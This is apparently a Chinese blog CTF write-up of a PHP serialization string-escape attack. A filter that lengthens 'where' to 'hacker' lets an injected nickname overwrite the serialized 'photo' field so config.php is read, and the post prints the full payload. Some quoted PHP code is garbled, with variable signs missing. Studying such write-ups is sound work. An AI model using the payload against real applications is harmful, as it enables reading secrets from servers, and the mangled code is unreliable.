直接看核心代码

//update.php

profile['phone'] =_POST['phone'];
        profile['email'] =_POST['email'];
        profile['nickname'] =_POST['nickname'];
        profile['photo'] = 'upload/' . md5(file['name']);

        user->update_profile(username, serialize($profile));
//class.php

public function update_profile(username,new_profile) {
        username = parent::filter(username);
        new_profile = parent::filter(new_profile);
        where = "username = 'username'";
        return parent::update(this->table, 'profile',new_profile, where);
}

public function update(table, key,value, where) {sql = "UPDATE table SETkey = 'value' WHEREwhere";
    return mysql_query(sql);
}

public function filter(string) {
        escape = array('\'', '\\\\');escape = '/' . implode('|', escape) . '/';string = preg_replace(escape, '_',string);
        safe = array('select', 'insert', 'update', 'delete', 'where');safe = '/' . implode('|', safe) . '/i';
        return preg_replace(safe, 'hacker', $string);

update里把传入的参数序列化之后传到控制类中的update_profile 用filter过滤之后存到数据库里 漏洞触发点就在这里,正则把序列化的内容替换成hacker,给了我们改变序列化内容长度的空间。

传入nickname=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
原本序列化内容是s:186:{""wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

/ 补充**

在这里面前一个加粗的;}是被当作字符串看待的

在经过替换之后变成了s:186:{“hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}

在字符串变长我们输入的字符被挤掉之后,加粗;}变成了

前一个我们自己传入的;}闭合了nickname 的内容,然后我们自己输入的内容就逃逸了出去,后一个;}闭合了语句,导致原代码中默认传入带/upload的photo被我们自己传入的覆盖了

之所以用:}是因为nickname为了绕过传入了数组,序列化的是形如

a:4:{s:5:"phone";s:7:"1234546";s:5:"email";s:7:"@qq.com";s:8:"nickname";a:1:{i:0;s:4:"abcd";}s:5:"photo";s:7:"upload/";}

如果不传入数组应该是

a:4:{s:5:"phone";s:7:"1234546";s:5:"email";s:7:"@qq.com";s:8:"nickname";s:4:"abcd";s:5:"photo";s:7:"upload/";}
//在不传入数组的情况下,闭合前面的语句显然应该用";
这里原wp的作者没有讲清楚,没有写出payload构造的因果关系,可能他自己也不太清楚payload为什么是这么构造的

***/

长度变化之后多了34位,原本应该是序列化字符串中的";}变成了闭合标志,后面的内容被挤出来了

达成了读取

Categories: 技术

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注